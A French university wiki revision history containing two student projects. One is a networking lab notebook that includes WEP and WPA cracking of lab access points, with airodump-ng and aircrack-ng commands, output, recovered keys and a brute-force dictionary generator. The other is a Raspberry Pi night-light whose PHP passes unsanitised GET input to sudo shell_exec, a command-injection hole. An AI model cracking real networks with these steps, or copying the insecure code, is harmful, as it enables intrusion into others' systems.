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Cahier 2016 groupe n°7

2016-11-07T11:43:20Z

Jbielle : /* Craquage de clé WPA */

==Cahier des charges==

Mise en réseau des commutateurs 6006 en E304

==Avancement du travail==

===Configuration du 6006===

-Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10

-Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11

-Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.

La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :

1 Switch-E304>enable
2 Switch-E304#vlan database
3 Switch-E304(vlan)#vlan x name nameX
4 Switch-E304(vlan)#exit

La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :

1 Switch-E304>enable
2 Switch-E304#conf t
3 Switch-E304(config)#interface GigabitEthernet 4/x
4 Switch-E304(config-if)#switchport
5 Switch-E304(config-if)#switchport access vlan x
6 Switch-E304(config-if)#no shutdown
7 Switch-E304(config-if)#end
8 Switch-E304#write memory (enregistrer la configuration)

Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :

5 Switch-E304(config-if)#switchport mode trunk

===Installation de xen===

xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie
--dir=/usr/local/xen --gateway=193.48.57.172

===Configuration d'une EtherChannel===

Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.

Voici la commande à rentrer dans l'interface de configuration du commutateur :

1 Switch-E304>enable
2 Switch-E304#conf t
3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32
4 Switch-E304(config-if)#switchport
5 Switch-E304(config-if)#switchport mode trunk
6 Switch-E304(config-if)#channel-protocol lacp
7 Switch-E304(config-if)#channel-group 1 mode passive
8 Switch-E304(config-if)#no shutdown
9 Switch-E304(config-if)#end
10 Switch-E304#write memory (enregistrer la configuration)

Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.

===Serveur DNS et DNSSEC avec bind===

La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.
Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.
A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :

'''nom du serveur''' : ns.bielloumutherfucker.space

'''IP''' : 193.48.57.167

On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :

'''DNS1''' : ns.bielloumutherfucker.space

'''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)

...

===Crackage de clé WEP===

Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.
Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2

On obtient l'écran suivant :

CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille
04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05
04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03
04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06
04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02
44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7
04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81
04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24
04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13
04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53
(not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1
(not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2
44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2

Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :
airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2

On obtient l'écran suivant :

CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718

Une fois le fichier de capture créé, nous avons exécuter la commande

aircrack cracotte06-01.cap

afin débuter le crackage de la clé WEP.

On obtient le résultat suivant en quelques minutes :

[00:01:53] Tested 279622 keys (got 31535 IVs)

KB depth byte(vote)
0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632)
1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864)
2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912)
3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120)
4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144)
5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656)
6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120)
7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888)
8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632)
9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888)
10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376)
11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632)
12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%

La clé a été trouver et sa valeur est "EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44"

===Craquage de clé WPA===

Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.

Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :

#include <stdio.h>
#include <stdlib.h>

#define MAX_NUM 99999999

int main(){
long chiffre = 0;
FILE* fp = NULL;
fp = fopen("dictionnaire.txt","a+");
if (fp != NULL){
for (chiffre=0;chiffre< MAX_NUM + 1;chiffre++)
{
fprintf(fp,"%08li\n",chiffre);
}
fclose(fp);
}
return 0;
}

Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA :

1. On bascule l'interface wifi en mode monitor :
airmon-ng start wlan2

2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :
airodump-ng --encrypt WPA wlan2

On obtient le résultat suivant :

00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille
00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK <length: 1>
00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK <length: 1>
00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests
00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT <length: 1>
00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff
00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT <length: 1>
00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1
00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam
04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04
04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03
04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09
04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01
04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06
04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07
04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10
04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05
04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08
04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02
04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT <length: 1>
C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests
C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK <length: 1>
04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam
04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1
04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK <length: 1>
04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff
04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT <length: 1>

3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture

airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05

4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :

aircrack-ng -w dictionnaire.txt cracotte09-01.cap

5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :

passphrase : 12399909

Cahier 2016 groupe n°7

2016-11-07T11:28:41Z

Jbielle : /* Craquage de clé WPA */

Veilleuse enfant connectée

2016-05-08T19:44:07Z

Jbielle : /* Semaine 11 */

Veilleuse enfant connectée

2016-05-08T19:42:03Z

Jbielle : /* Semaine 10 */

==Cahier des charges==

===objectifs et description du projet===

Notre projet a pour but de réaliser un prototype de veilleuse pour enfant connectée. La veilleuse devra proposer tout d'abord un éclairage tamisé de manière à permettre à l'enfant de s'endormir, comme le proposent les veilleuses pour enfants classiques. Le qualificatif "connectée" prend ici son sens dans la mesure où la veilleuse devra permettre la projection d'une image au plafond, image qui sera choisie par les parents sur leurs smartphones, tablettes ou ordinateurs, envoyée sur le cloud, et récupérée par la veilleuse, connectée à internet, pour qu'elle puisse l'afficher.
Les parents auront également la possibilité de régler les horaires de fonctionnement de la veilleuse, directement depuis leurs canapés.

Nous pensons également inclure, si le temps nous le permet et au vues du matériel qui nous est disponible, une fonction vidéo-baby-phone, de façon à ce que les parents puissent surveiller leur enfant à tous moments avec une image et du son à l'appui. L'implantation d'un capteur de température est également envisageable pour pouvoir gérer le confort de l'enfant et si celui-ci est perturbé, une berceuse pourra éventuellement être jouée dans un petit haut parleur.

Nous espérons ensuite pouvoir gérer tout cela avec une application web ou pour smartphone que nous aurons développé. Nous avons également pour ambition de designer et réaliser nous même l'enveloppe extérieur de notre veilleuse. Sur le châssis pourrait par exemple être posé un abat jour orné de motifs (étoiles, etc.). Nous posterons bientôt un rendu de ce à quoi nous pensons la faire ressembler, nous verrons par la suite si ce design est possible.

===Matériel à utiliser===

Pour mener à bien ce projet, nous aurons à notre disposition:

*une Raspberry pi 2 model b
*un module caméra spécifique à la raspberry
*un petit microphone
*des LEDs à faible intensité pour la lumière tamisée
*un dongle wifi pour pouvoir connecter la Raspberry au smartphone (ou autre) et donc à internet
*un petit haut-parleur
*un capteur de température

Nous avons échangé quelques mails avec notre tuteur Mr Thomas Vantroys pour ce qui était du pico-projecteur qui permettra de diffuser les images au plafond. Nous avions trouvé de notre coté un Phillips PPX4150, mais nous avons du partir sur un ASUS S1 car la commande devait se faire assez rapidement.

===Aperçu de la veilleuse===

Après modélisation 3D sur le programme 3D-Builder, nous sommes arrivés au rendu suivant pour notre prototype.

[[Fichier:veilleuse.jpg|1000px|thumb|center]]

Sur la vue éclatée suivante, nous pouvons voir les différents pièces que nous aurons à imprimer.

[[Fichier:veilleuse_eclatee.jpg|1000px|thumb|center]]

==Calendrier prévisionnel==

[[Fichier:Tableauveilleuse.png|1000px|thumb|center]]

==Au fil du projet==

===Semaine 1===

Pour cette première semaine, nous avons commencé par nous demander par quel moyen nous pourrions faire communiquer notre smartphone ou notre ordinateur avec la raspberry (veilleuse).

Nous en sommes vite venu à la solution suivante : transformer la raspberry équipée de son dongle wifi "wi-pi" en point d'accès. Ainsi nous pourrons nous connecter en wifi dessus, et une fois le serveur de l'application web installé sur la raspberry, nous pourrons nous connecter à l'adresse IP de celui-ci, et donc accéder à l'application qui gèrera les fonctionnalités de notre veilleuse.

Après avoir vérifié que notre dongle "wi-pi" était configurable en hotspot wifi, nous avons commencé la configuration.

Dans un premier temps, nous avons eu besoin d'installer les paquets "hostapd" et "dnsmasq" qui serviront à l'établissement du point d'accès. Une fois ces deux logiciels installés, nous avons configuré l'interface ''wlan0'' dans le fichier ''/etc/network/interfaces'' comme suit :

[[Fichier:Interfaces.png | center | ''le fichier interfaces après modification'' ]]

Nous avons donc choisi que l'adresse statique de la Rapsberry serait ''192.168.100.1''. Une fois un de nos appareils connecté en wifi dessus, il suffira juste de se connecter à cette adresse pour accéder à l'application web.

Dans un second temps, nous avons du configurer les caractéristiques de notre hotspot (SSID et mot de passe) dans le fichier ''/etc/hostpad/hostapd.conf''. Nous aovns choisi de donner à notre hotspot le nom ''Sleepi-Fi'' et le mot de passe ''sleepipi''. Voilà le fichier ''hostapd.conf'' une fois modifié :

[[Fichier:hostapdconf.png | center | ''le fichier hostapd.conf après modifications'' ]]

Nous avons ensuite décommenté la ligne DAEMON_CONF dans le fichier ''/etc/default/hostapd'' et nous y avons ajouté le chemin vers la configuration de la façon suivante :

[[Fichier:daemon.png | center ]]

Il a ensuite fallut modifier le fichier de configuration de dnsmasq : ''/etc/dnsmasq.conf'' en ajoutant à la fin du fichier les trois lignes suivantes :

interface=wlan0
except-interface=eth0
dhcp-range=192.168.100.2,192.168.100.150,255.255.255.0,12h

Une fois tout cela réalisé, il nous reste à redémarrer ''hostpad'' et ''dnsmasq'' en tapant les commandes suivantes dans le terminal :

/etc/init.d/hostapd restart
/etc/init.d/dnsmasq restart

Puis nous les avons autorisés à se redémarrer à chaque allumage de la raspberry via les commandes suivantes :

update-rc.d hostapd enable
update-rc.d dnsmasq enable

A partir de ce moment là, la connection à la raspberry en tant que hotspot wifi était fonctionnelle !

[[Fichier:Connected.png | center]]

Il ne nous restait plus qu'à créer un serveur local sur la raspberry par le biais de ''apache2'' comme nous l'avons fait en TP. Notre application web serait ensuite implantée dans le dossier ''/var/www'' de la raspberry. Nous avions commencé à regarder en prévention l'interface de notre application, nous avons donc testé le bon fonctionnement de notre serveur en nous y connectant depuis un appareil distant (ordinateur ou smartphone) avec la page de garde de notre application en ''index.html'', et le résultat fut plutôt concluant pour cette fin de première séance.

[[Fichier:Menu_veilleuse.png | 1000px | thumb | center]]

===Semaine 2===

Durant cette deuxième semaine, nous avons commencé à nous pencher sur les fonctionnalités de notre future veilleuse. Nous avons donc commencé par celle qui nous a semblé la plus simple, l'upload d'images depuis un appareil distant vers la raspberry, afin que cette image soit ensuite projetée par le pico projecteur.

Nous avons donc créer un dossier ''images'' dans notre le dossier qui gère notre serveur (''/var/www'') afin d'y mettre tous les fichiers html, php, css qui mettront en forme cette fonctionnalité.

En premier lieu, il fallait créer un formulaire html qui permettrait à l'utilisateur d'aller parcourir ses fichiers afin de sélectionner l'image souhaitée. Nous avons donc opté pour le code suivant :

[[Fichier:Uploadhtml.png | center]]

Que nous avons lié avec le fichier ''upload_img2.php'' suivant, qui traitera l'image et l'enregistrera dans le dossier ''/var/www/images/uploads'' de la raspberry :

[[Fichier:Uploadimgphp.png | center]]

NB : Pour que ce script fonctionne, il nous a fallut changer les droits sur les dossiers ''/images'' et ''/uploads'' car à la base nous n'avions pas les autorisations nécessaires pour écrire à l'intérieur. Il nous a suffit d'éxecuter les commandes suivantes dans le terminal :

sudo chmod a+rwx /var/www/images
sudo chmod a+rwx /var/www/images/uploads

la commande ''shell_exec'' à la fin de notre script permet d'afficher sur la sortie vidéo de la raspberry l'image que nous venons de lui envoyer, par le biais du logiciel fim (Framebuffer imageviewer IMproved). L'option ''-a'' permet d'effectuer une mise à l'échelle automatique sur l'image. Voici une photo montrant la projection d'une image téléchargée depuis un de nos smartphones :

[[Fichier:projecteur.jpg | 300px | thumb | center]]

===Semaine 3===

Pour cette troisième semaine, nous avions prévu de commencer la fonctionnalité de streaming vidéo depuis la raspberry sur nos appareils distants. Cependant, les solutions que nous étudions ne semblait pas fonctionner comme elles l'auraient du.

Nous avions pensé à utiliser un paquet téléchargeable sur la raspberry qui aurait permis de streamer des images à intervalles rapides et régulier, qui seraient apparues sur la raspberry comme une seule et même image (la nouvelle photographie écrasait l'ancienne et était envoyée sur une certaine page web où nous aurions pu les visualiser). Mais nous avons rencontré des problèmes avec le paquet, et n'avançant pas nous avons préféré avancer sur d'autres fonctionnalités en attendant. Ayant également rencontré des problèmes quant aux dimensions de notre modèle qui étaient trop grandes pour les imprimantes 3D du Fabricarium, elles ont été revues durant cette séance tandis qu'un de nous s'occupait de l'envoi de berceuses à la raspberry.

Pour l'upload des berçeuses, nous avons procédé de manière analogue à l'upload des images. C'est à dire un formulaire HTML et une page php qui traitera se fichier de façon à l'envoyer à la raspberry.

Le formulaire html est exactement le même que celui de l'upload d'images, cependant la page php nécessite quelques modifications. Lors de la vérification de l'extension, les formats comparés ne seront plus des formats images, mais des formats audios comme le mp3, le wmv, etc.

Voici le fichier ''upload_music.php'' :

[[Fichier:Uploadmusphp.png | center]]

A partir de là, nous avons rencontré plusieurs problèmes.
En effet la page php nous renvoyait le message d'erreur ''le fichier est introuvable''. D'où la déduction que le fichier n'était enfaite pas uploadé sur la raspberry. Des recherches sur ce problème sont donc à prévoir pour la semaine d'après.

===Semaine 4===

Ayant revus les dimensions des pièces de notre modèle la semaine passée, nous avons commencé à nous lancer dans leurs impressions cette semaine. Nous avons débuté par la pièces qui servira à maintenir la raspberry en place dans la veilleuse.

[[Fichier:Boitier_rasp1.jpg | 300px | center | thumb ]]

[[Fichier:Boitier_rasp2.jpg | 300px | center | thumb ]]

Nous pensons lancer l'impression du socle la semaine prochaine. Voici une photo de ce à quoi il devrait ressembler :

[[Fichier:Socle_sleepi.png | 300 px | center | thumb]]

A coté de ça, après nous être penchés sur les problèmes qui pourraient mener au fait qu'un fichier ne sois pas uploadé (par rapport à notre upload de berceuse ), nous avons découvert deux possibles raisons :

Une évidente était que la taille d'upload maximale autorisée dans le php.ini est par défaut fixée à 2 Mo. Ce qui reste insuffisant pour un fichier musical qui fait généralement 5 Mo. Nous avons donc modifié le fichier ''php.ini'' et changé cette limite pour 10 Mo.

Une autre, moins évidente, est que nous nous sommes rendus compte que le ''$FILES['music']['tmp_name']'' était vide. Nous n'avons pas encore compris pourquoi.

Nous nous sommes donc tourné vers l'aspect lecture de l'audio sur la raspberry. Et nous avons trouvé un outil qui permet de lire de la musique avec ou sans interface graphique, dans un terminal. Cet outil s'appel ''MOC'' pour ''Music On Console''.

Pour l'utiliser à partir du terminal ( sans interface graphique donc, ce qui nous intéresse) il suffit :

-de démarrer le serveur musical à l'aide de la commande ''mocp -S''
-d'ajouter le dossier qui contient nos berceuses pas le biais de la commande ''mocp -a <chemin du dossier>''
-de lancer la lecture à partir du premier morceau de la playlist créée auparavant avec la commande ''mocp -p''.

Lorsque l'on souhaite ensuite stopper la lecture, un simple ''mocp -s'' arrêtera le lecteur.

===Semaine 5===

Pour cette semaine, nous avons enfin trouvé une solution au streaming vidéo sur la raspberry. Nous cherchions une solution simple et pas trop coûteuse en ressource.
Nous sommes finalement arrivés à l'utilisation du programme "webcam" qui est un outil simplifié des outils comme "motion" et "mjpg-streamer". En effet, "webcam" ne fait qu'enregistrer une image dans un registre défini et remplace l'image sous le même nom à intervalles réguliers. Le programme lit le fichier webcam.conf que nous avons mis dans le dossier /etc qui correspond à son fichier de configuration :

le voici
[[Fichier:webcam.conf.png | center]]

Ensuite, nous avons créé une petite page html qui affiche les images prisent par "webcam" le plus rapidement possible donc nous avons fait en sorte qu'elle se rafraîchisse instantanément :

Voilà à quoi cela ressemble
[[Fichier:stream.png | center]]

Il nous reste encore à améliorer la page html en automatisant le lancement et la fermeture de "webcam" .Nous sommes pour l'instant obligés d'utiliser la commande "webcam /etc/webcam.conf" pour lancer et "fg webcam" pour fermer "webcam".

===Semaine 6===

L'impression de notre socle est enfin terminée. Voici ce à quoi il ressemble :

[[Fichier:socle_imp.jpg|300px|thumb|center]]

Nous lancerons l'impression de l'intérieur et du haut du socle dans les prochaines semaines.

Pour finaliser la gestion des berceuses, le php d'upload a fini par fonctionner. Les fichiers audio sont donc téléchargés vers le dossier ''uploads'' lui même dans le dossier ''berceuse''.

Pour gérer la lecture des pistes sur la raspberry nous avons fonctionné comme suit:

-L'utilisateur a le choix entre télécharger une nouvelle musique, ou en sélectionner une qui a déjà été importée auparavant.
-S'il choisit d'en importer une nouvelle, il devra la télécharger, puis revenir au menu principale afin de la retrouver dans les chansons importées (Puisqu'elle sera maintenant dans ce dossier).
-Lorsqu'il cliquera sur une des chansons, le nom de la chanson sélectionnée sera passé en paramètre (nommé ''dir'') à une nouvelle page php spécifique à la lecture sur la raspberry.
-A l'arrivée sur cette page, le serveur de musique sera lancé, puis la playlist sera nettoyée, le morceau sera ensuite ajouté à la playlist vide, et sera lu.

Voici un aperçu du code nécessaire à cette manipulation :

--lecture.php--
<?php
$dir=$_GET[dir];
shell_exec('sudo mocp -S'); //lance le serveur de musique
shell_exec('sudo mocp -c'); //clean de la playlist
shell_exec('sudo mocp -a ./'.dir); //ajout de la chanson à la nouvelle playlist
shell_exec('sudo mocp -p'); // début de la lecture
?>

[img selection et remplacer code php par original]

Après plusieurs tests avec des écouteurs, la musique sélectionnée est bien diffusée sur la raspberry.

Pour finir, l'utilisateur pourra choisir directement dans le menu principal d'arrêter la musique, par le biais d'un php qui lancera un ''shell_exec("sudo mocp -s");'', et pourra également supprimer les musiques s'il le souhaite.

===Semaine 7===

Cette semaine nous nous sommes penchés sur la mise en place du mini microphone électret qui fera office de décibelmètre.
Le problème le plus important est que le microphone retourne des données analogique alors que les ports GPIO de la raspberry sont numériques.
Nous avions d'abord essayé de brancher le microphone comme expliqué sur la datasheet et de mettre l'output directement sur une Pin GPIO. Mais les valeurs affichées étaient 0 ou 1.

[[Fichier:ABM_715_RC.jpg|600px|thumb|center]]

Après discussion avec Mr Flamen, il nous a conseillé de réaliser un circuit amplificateur-comparateur grâce à un AOP. En effet, pour notre utilisation du microphone, il est plus simple de récupérer 0V ou 5V en fonction d'un seuil choisit au préalable (nous voulons juste savoir si le bébé pleure ou pas).

Mr Flamen nous a donc donné un LM358 qui est un AOP rail-to-rail contenant deux AOP ce qui nous permet de l'alimenter directement avec la Raspberry entre 5V et le Ground .Et d'utiliser un AOP pour l'amplification et un autre pour la comparaison entre la tension entrante et la tension seuil.

[[Fichier:lm358.jpg|600px|thumb|center]]

Il nous reste à faire le circuit et à le simuler avant de commencer les tests.

===Semaine 8===
Nous avons réalisé la simulation du montage AOP grâce au logiciel PSim.
Voici le montage :

[[Fichier:montage_AOP.jpg|600px|thumb|center]]

Les résultats de la simulation sont ceux que nous avions espéré (Voir ci-dessous):

[[Fichier:simulation_AOP.jpg|600px|thumb|center]]

On peut voir en vert la tension seuil que l'on a fixé à 2.5 Volts. En rouge la tension de sortie du premier AOP(amplificateur) et dont les variations sont dû à celles de la résistance du microphone (Le microphone a été simulé avec une résistance variable). Et enfin en bleu, la sortie du deuxième AOP(comparateur) qui passe de 0 à 5 Volts lorsque la tension d'entrée passe au-dessus de la tension seuil.

Nous avons rassemblé les composants et commencerons le montage et les tests réels la semaine prochaine.

===Semaine 9===

nous avons réalisé le montage que nous avions testé avec PSim :

[[Fichier: Montage_réel_AOP.jpg |250px|thumb|center]]

Cependant nous ne trouvons pas de résultats concluants. La tension de sortie ne franchie pas la tension seuil lorsque nous émettons un bruit fort à proximité du microphone.
Nous laissons cette partie en attente pour l'instant.

===Semaine 10===

Nous avons commencé à crée un programme permettant d'allumer les lampes de la veilleuse via notre index.html.
Pour cela, nous avons crée deux liens ("allumage" et "extinction") accessibles depuis notre index.html. Ils redirigent vers un fichier php (light_on.php ou light_off.php) et celui-ci exécute un script python qui commande un GPIO de la raspberry. Le GPIO est mis en position ''LOW'' ou ''HIGH'' en fonction du php utilisé.

Après quelques tests, nous avons réussi à allumer une LED sur commande depuis notre smartphone. Cependant, il semblait y avoir un souci au niveau du GPIO. En effet, lorsqu'il était à l'état ''HIGH'' et que nous souhaitions éteindre la LED, un message d'erreur s'affichait sur le terminal. Nous avons ensuite compris que le programme python qui s'éxecutait pour maintenir la LED allumée devait être tué de manière à pouvoir modifier la valeur de sortie du GPIO qui ne pouvait en fait pas être modifiée lorsqu'il était monopolisé.

Nous avons donc cherché un moyen de repérer parmis les processus actifs, ceux qui sont liés à un processus python. Pour cela, nous avons découvert la commande ''pgrep <cible>'' ( équivalente à un ''ps -aux | grep <cible>'') qui permet non seulement de cibler des processus mais aussi de retourner la valeur de leur PID. Cette commande sera très pratique dans notre cas car pour tuer un processus, il faut connaitre son PID.

Le code d'allumage de la LED étant fonctionnel, il ne nous restait plus qu'à ré-écrire celui de l'extinction. Il nous a seulement suffit de rajouter en début du script php ces deux lignes :

$pid=shell_exec('pgrep python'); //$pid récupère la valeur du pid du processus python actif
shell_exec('kill '.$pid); //On peut ensuite le ''killer'' sans soucis
[... reste du code d'extinction ...]

A partir de ce moment, l'allumage et l'extinction marchaient parfaitement. [video]

Une fois ce problème résolu, nous nous sommes replongé vers le problème de l'automatisation de la webcam, qui occupait beaucoup de mémoire CPU. La commande ""pgrep"" nous servira parfaitement pour cettle application.

Concernant la structure de notre veilleuse, nous avons continué à rencontrer des problèmes au niveau des impressions qu'il nous restait. Nous pensons donc tenter une autre alternative, et faire, pourquoi pas, une structure en bois à l'aide de la découpeuse laser du Fabricarium.

===Semaine 11===

Le programme pour cette semaine était de faire les découpes de nos pièces au Fabricarium, et de finaliser l'automatisation de notre application, notamment la partie webcam.

Les précédentes semaines, la webcam se lancait à l'aide de commande que nous rentrions directement dans le terminal de la Raspberry. Le but ici est de lancer l'acquisition des images directement lorsque l'on choisit la fonctionnalité ''VideoBabyPhone'' de notre application, et de terminer le processus ''webcam'' lorsqu'on choisit de retourner à l'accueil.

Pour cela, nous avons intégré des lignes dans notre fichier ''php'' qui gère la prise de photo et l'affichage, lancé lorsqu'on choisit justement l'option de visionnage de la webcam.

La ligne que nous avons rajouté au début du code est la suivante :

shell_exec('sudo webcam /etc/webcam.conf');

Et ça marche, la webcam se lance bien automatiquement à l'ouverture de la page de visionnage.

Concernant maintenant la terminaison du processus, nous avons du changer notre ''index.html'', la racine de l'application. Le but serait que lorsqu'on recharge la page d'accueil, la raspberry cherche le processus ''webcam'' et le termine (raisonnement analogue à l'extinction de la lumière).

Nous avons donc modifié le fichier ''index.html'' en fichier php. Et nous avons introduit les lignes suivantes :

$pid_webcam = shell_exec('sudo pgrep webcam');
shell_exec('sudo kill '.$pid_webcam);

A partir de là, et après un bref test, la webcam se lance bien au chargement de la page d'affichage, et se coupe comme il faut au retour à l'accueil.

Concernant la structure, le pièces ont été découpées avec succès et nous avons, enfin, un squelette de veilleuse que nous pouvons exploiter pour faire des tests concrets. On peut voir cette structure sur la photo suivante :

[[Fichier:structure_bois1.jpg|500px|thumb|center]]

On remarquera des trous pour laisser passer les cables dont nous aurons besoin, ainsi que des fentes qui serviront à maintenant le pico-projecteur bien en place.

===Semaine 12===

==Fichiers rendus==

Veilleuse enfant connectée

2016-04-21T10:13:20Z

Jbielle : /* Semaine 10 */

==Cahier des charges==

===objectifs et description du projet===

Notre projet a pour but de réaliser un prototype de veilleuse pour enfant connectée. La veilleuse devra proposer tout d'abord un éclairage tamisé de manière à permettre à l'enfant de s'endormir, comme le proposent les veilleuses pour enfants classiques. Le qualificatif "connectée" prend ici son sens dans la mesure où la veilleuse devra permettre la projection d'une image au plafond, image qui sera choisie par les parents sur leurs smartphones, tablettes ou ordinateurs, envoyée sur le cloud, et récupérée par la veilleuse, connectée à internet, pour qu'elle puisse l'afficher.
Les parents auront également la possibilité de régler les horaires de fonctionnement de la veilleuse, directement depuis leurs canapés.

